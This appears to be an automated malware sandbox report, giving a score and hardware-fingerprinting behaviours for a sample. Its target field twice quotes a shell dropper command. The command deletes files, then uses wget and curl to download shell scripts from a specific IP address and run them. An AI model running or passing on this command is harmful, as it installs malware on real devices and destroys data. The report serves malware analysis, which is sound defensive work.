General

  • Target
    http://cd /data/local/tmp/; rm -rf onie_*; cd /data/local/; wget http://103.226.250.88/viet69.sh; sh viet69.sh; curl http://103.226.250.88/viet69.sh; sh viet69.sh; wget http://103.226.250.88/heromc.sh; sh heromc.sh; curl http://103.226.250.88/heromc.sh; sh heromc.sh; wget http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh; curl http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh
  • Sample260722-japvea1crf

Malware Config

Targets

    • Target
      http://cd /data/local/tmp/; rm -rf onie_*; cd /data/local/; wget http://103.226.250.88/viet69.sh; sh viet69.sh; curl http://103.226.250.88/viet69.sh; sh viet69.sh; wget http://103.226.250.88/heromc.sh; sh heromc.sh; curl http://103.226.250.88/heromc.sh; sh heromc.sh; wget http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh; curl http://103.226.250.88/tranphuonglinh.sh; sh tranphuonglinh.sh
    Score
    6/10
    • Checks hardware identifiers (DMI)

      Checks DMI information which indicate if the system is a virtual machine.

    • Reads hardware information

      Accesses system info like serial numbers, manufacturer names etc.

MITRE ATT&CK Enterprise v16

Tasks